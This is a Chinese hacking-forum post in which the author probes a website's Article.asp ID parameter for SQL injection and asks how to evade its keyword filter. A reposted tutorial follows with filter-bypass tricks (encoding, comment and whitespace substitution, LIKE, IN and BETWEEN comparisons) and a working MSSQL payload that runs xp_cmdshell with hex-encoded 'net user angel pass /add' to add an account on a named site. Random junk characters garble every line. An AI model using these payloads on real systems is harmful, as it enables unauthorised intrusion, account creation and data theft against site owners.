路过这个网站,检测了一下.* ?3 k2 z0 z- [' m. Y/ A0 H8 e
http://www.xxx.cn/Article.asp?ID=117 and 1=1" H! _5 C# e6 \+ B, x7 a4 E: x3 F
直接返回主页/ @+ j9 M& F W1 m/ w
http://www.xxx.cn/Article.asp?ID=117 or 1=19 C( `% u3 u9 p) M. b+ @
直接返回主页; W( I3 R, [5 [9 [7 l! N
http://www.xxx.cn/Article.asp?ID=117 or
: L S3 T6 q1 s8 q没有返回主页 没有过滤or6 u1 i& |4 s; G+ ?
http://www.xxx.cn/Article.asp?ID=117 and8 P( T0 a3 r% ` J& \6 l
直接返回主页 看来过滤了and( _/ h2 r; ?% L& m
http://www.xxx.cn/Article.asp?ID=117 or 10 {4 p8 \6 f& L6 D& p0 ~
没有返回主页 即没有过滤or 也没有过滤1. @, X/ \ |9 B H' X( {
http://www.xxx.cn/Article.asp?ID=117 or 1=1+ U/ Q$ S) R4 H+ I( ?! p
直接返回主页 很明显过滤了等号
2 J+ A. `) t E: Oor的特性是与and相反的.) H8 X, l; P/ N. V" B2 W
or 1=1 爆错 或与原页面不同
9 b& T0 I/ n; X! J/ u4 X! g5 `or 1=2 原页面相同
8 R7 J7 X; F3 f+ Z+ w Z6 Z这样就是一个注入点
& x8 o5 H- u L, s% e' y$ H' h" `- z但他过滤了=号 我就用><号代替=号吧!8 [& Z8 U5 p7 v7 ^! L, u
or 1<2 很明显是正确的,所以应该与原页面不同, Y( V$ P* \0 m
or 1>2 很明显是错误的,所以应该与原页面相同
1 n3 @, a3 u4 i& x+ u( g9 G: x然后看看有没有过滤其他的查询语句,比如select.5 p; R( {3 i/ d* u, v
http://www.xxx.cn/Article.asp?ID=117 select9 ]6 K9 N$ n5 y2 t1 e
直接返回主页( X; n6 h) ]2 Q1 ~4 ?
又迷茫了.., H6 n0 Z. M0 E$ D; ^# v
# X# Z s' k# N- z |2 ~3 h; I+ {
cookies注入.和以下的方法全都试过了,都失败了.还有什么方法可以饶过吗
. F/ W% W) W1 Y; l这个系统我以为是my动力,后台却是这样的http://www.xxx.cn/admin.asp(应该不是假够台吧)
( N& U" L7 W6 F) ?$ I0 v================================================
5 Y. m& i% g0 c9 t9 ^8 t以下是转贴:
4 Z9 \% h: M3 T# m4 x
: }/ V: _: t- K' V: k突然想我们是否可以用什么方法绕过SQL注入的限制呢?到网上考察了一下,提到的方法大多都是针对AND与“’”号和“=”号过滤的突破,虽然有点进步的地方,但还是有一些关键字没有绕过,由于我不常入侵网站所以也不敢对上述过滤的效果进行评论,但是可以肯定的是,效果不会很好…… * l4 ]1 I7 l) j8 ?5 S. c. g; _8 r( @
经过我的收集,大部分的防注入程序都过滤了以下关键字:
2 j7 i) t0 Z8 a& H3 e4 ~5 i+ u( Q$ Sand | select | update | chr | delete | %20from | ; | insert | mid | master. | set | = ( z7 F) d; b* B
而这里最难处理的就是select这个关键字了,那么我们怎样来突破他们呢?问题虽未完全解决,但还是说出来与大家分享一下,希望能抛砖引玉。
$ A8 l' F, q7 _对于关键字的过滤,以下是我收集的以及我个人的一些想法。 9 U/ t9 i0 I7 g3 @$ n# d
1、运用编码技术绕过
" z0 D6 k8 k$ c& n5 K6 t, I如URLEncode编码,ASCII编码绕过。例如or 1=1即
7 k0 J: {* o; \) y/ n%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。 ! W/ x: ?" |. ?- n2 v
. @; o+ g& b' a
2、通过空格绕过 0 f" w* v- a1 i! G2 i/ V
如两个空格代替一个空格,用Tab代替空格等,或者删除所有空格,如
' h- F7 K- Z3 E' G) ?5 _or’ swords’ =‘swords’
& A3 n6 P4 D7 {,由于mssql的松散性,我们可以把or ’swords’ 之间的空格去掉,并不影响运行。 . K' o; L5 l2 Q1 k# h
3、运用字符串判断代替
4 o; u0 c' r$ h, W/ z- a F5 u用经典的or 1=1判断绕过,如 # O8 m! ~+ D' d) c( Q
or ’swords’ =’swords’ J% r6 N" S/ ^+ A
,这个方法就是网上在讨论的。 ( g$ N1 I9 b. N/ Z e5 P' q
4、通过类型转换修饰符N绕过 1 s5 b, G* a9 E: T m5 n7 v
可以说这是一个不错的想法,他除了能在某种程度上绕过限制,而且还有别的作用,大家自己好好想想吧。关于利用,如or ’swords’ = N’ swords’ ,大写的N告诉mssql server 字符串作为nvarchar类型,它起到类型转换的作用,并不影响注射语句本身,但是可以避过基于知识的模式匹配IDS。
! K3 U, v Q& l5、通过+号拆解字符串绕过 ! v( a1 _1 x- @; ?$ a
效果值得考证,但毕竟是一种方法。如 8 L3 T- z, `7 o; O9 i
or ’swords’ =‘sw’ +’ ords’ ;EXEC(‘IN’ +’ SERT INTO ’+’ …..’ )
, {; M; z1 C6 q! k/ P* A) h: X" ~/ E. P* h; S* f0 h
6、通过LIKE绕过 , i: ^: L. z7 ?3 I K& }
以前怎么就没想到呢?如or ; s$ k* x& X; t, b8 n3 @
’swords’ LIKE ’sw’ 3 d4 H8 u& \3 B; c2 L' B
!!!显然可以很轻松的绕过 0 B- M! L9 X: o5 }6 ?
“=”“>” 4 [0 S' j9 w! Q- q7 a4 n( X% f
的限制…… $ [3 q h Y6 f) f! h
7、通过IN绕过 / x, L8 W4 P* j$ Q; ^* R' ?
与上面的LIKE的思路差不多,如 ' w+ w6 w8 A0 r
or ’swords’ IN (’swords’)
& J" Z. w( M, q; x6 \9 r- v
`: T# W: S$ y8、通过BETWEEN绕过 & g1 y( V: ]2 p( P' P
如
: C' ~# W/ }1 l! o9 l( Jor ’swords’ BETWEEN ’rw’ AND ’tw’ ; s; D2 {& v: g4 v4 q
5 _+ s5 z5 B, a* M0 c/ O0 i' t+ e. @9、通过>或者<绕过
2 C. q) c# k# o' K2 x) M2 G. H2 Bor ’swords’ > ’sw’ * P: L5 k7 y4 o8 B) P
or ’swords’ < ’tw’
& t( M9 F5 ?' W# [, Aor 1<3
( z% V: B/ J+ L2 u9 ]…… ( H3 i9 l$ m- `- Y& s
10、运用注释语句绕过 : i& h$ z2 ~- q. w0 F! j
用/**/代替空格,如:
! [% {. X/ z J2 }) R+ k3 hUNION /**/ Select /**/user,pwd,from tbluser
$ M5 W5 q8 Y- l3 \
5 ?1 e0 Z8 b* H S8 ^2 }用/**/分割敏感词,如: 6 p1 R: B3 K2 C4 K$ P) Y: k0 @
U/**/ NION /**/ SE/**/ LECT /**/user,pwd from tbluser ; e1 K2 x- R5 p6 j
5 q& ]$ {" Y; P11、用HEX绕过,一般的IDS都无法检测出来
+ u* z1 t1 v L0x730079007300610064006D0069006E00 =hex(sysadmin) & q+ i" \, }; `; c* n( N
0x640062005F006F0077006E0065007200 =hex(db_owner)
. M1 m% Y" \+ \7 B: l另外,关于通用点的过滤方法,我们可以考虑采用赋值的方法,例如先声明一个变量a,然后把我们的指令赋值给a,然后调用变量a最终执行我们输入的命令。变量a可以是任何命令。如下: ' {2 f0 d) K) z- @5 a+ l
declare @a sysname
0 a) ^& Y$ k. ]1 k select @a=
! P, ]7 L; Y( V7 P7 l exec master.dbo.xp_cmdshell @a
- j" q) h9 D) W效果 ! u, n. u8 y a
http://www.ilikeplmm.com/show.asp?id=1;declare%20@a% [email=20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a]20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a[/email];-- ( l; o. \; [( I3 e9 s6 o
! a# g% a- {4 t6 u其中的 : E( P8 k3 q. R! m; b3 m1 ^6 @% b
0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400
+ J) j! p ^ r: e$ {( r就是
, W. S& F( r* y; L& k+ C, i. z“net user angel pass /add”( f7 p( D ]2 I/ `! V; q$ O
, N# E" q$ X" _# o
一直以来都以为只有空格,tab键和注释符/**/可以用来切割sql关键字,段时间在邪八看了风迅cms注入漏洞那篇帖子,才知道原来回车也可以用来作为分割符(以前竟然没有想到,真是失败)。回车的ascii码是chr(13)&chr(10),至于为什么要两个连在一起,这个我也不知道。转换成url编码形式是%0d%0a,于是就可以用%0d%0a代替空格pass一些过滤空格的检查了。$ i3 b6 d, x8 J' e O \0 _- R
引申一下,只用%0d能正常执行语句吗?只用%0a呢?测试证明,用任意一种分割在mssql、mysql和access里面都是可以的。* T5 {4 r7 G! Z. p: O" e. b F3 B
另外,关于mssql的多语句问题。我以前一直以为必须用分号作为语句的结尾,后来发现,完全不是那样。类似
6 V* T2 T# B) WCopy code
! X6 A8 s% { b4 v0 jselect * from table exec xp_cmdshell'xxxxxxxxxx'
& K* L$ @/ N( j4 i# F u: g% I& V' F: \- I, R. O7 I" m+ X0 r
* ]9 V- ^2 H: [% I* |select * from table/**/exec xp_cmdshell'xxxxxxxxxx'- x* g3 m" K0 k8 s) \1 x
/ ]9 c" V" Q8 v, T( Y2 Q
* x4 k' h8 K, t, y+ G1 xselect * from table|---tab---|exec xp_cmdshell'xxxxxxxxxx'
& ?0 A e/ s6 L8 x5 ?$ e
. @5 N0 K* i s# N8 S. j' P: q$ I \% W' S- ?
select * from table|---enter---|exec xp_cmdshell'xxxxxxxxxx'
D6 a! c0 G* E& b+ X: [$ j [1 e8 C
的语句都是可以正常执行的。而我以前竟然一直不知道!不过这个貌似跟连接数据库驱动有关系,odbc可以正常执行,sqloledb的话就会报错。有兴趣的继续研究吧?6 S$ F4 V7 h& c
. \' |6 w( { Z( w# u; O
这样,以后遇到带空格过滤关键字的拦截程序,又可以发挥发挥了, y6 ?* A+ n- t: n
可能大家早就知道了,不管怎么说,发在这里吧!$ }' E& p2 x9 j8 f2 H* f( A
( v, |6 W) k& Y: G. }/ a( b, T最近想起可能还有些ascii码可以用来在sql语句中代替空格,于是写个脚本测试了一下,结果在所有128个低位ascii字符中,chr(12)也可以在access里用,不过貌似chr(12)不能出现在and、or之类的关键词附近,原因不清楚。mysql中比access多一个chr(11)可以。至于mssql,挖日,直接从1到32的ascii码换成字符后都可以正常使用。& h% b e' E6 l. o
* V2 E$ B. L) q. a+ @' l
4 G' u7 O2 y4 d( K) S; E. e
& U7 |2 u0 p: M. ]6 ?
对于中间应该出现空格的地方,用()进行替换,不过,对于很复杂的SQL语句就不太好用了。上面说到的是字符型的,如果是数值型,可以在id=1后加一个括号,不过这个我没有测试,
( F$ V+ K' w# v' R% F+ G& c1 x比如:jmdcw.asp?id=(1)and(select.....),应该是可行的吧? ! b# R) n3 c# W+ ] d! d7 Z
9 h3 v& r/ A g- C, [' H
|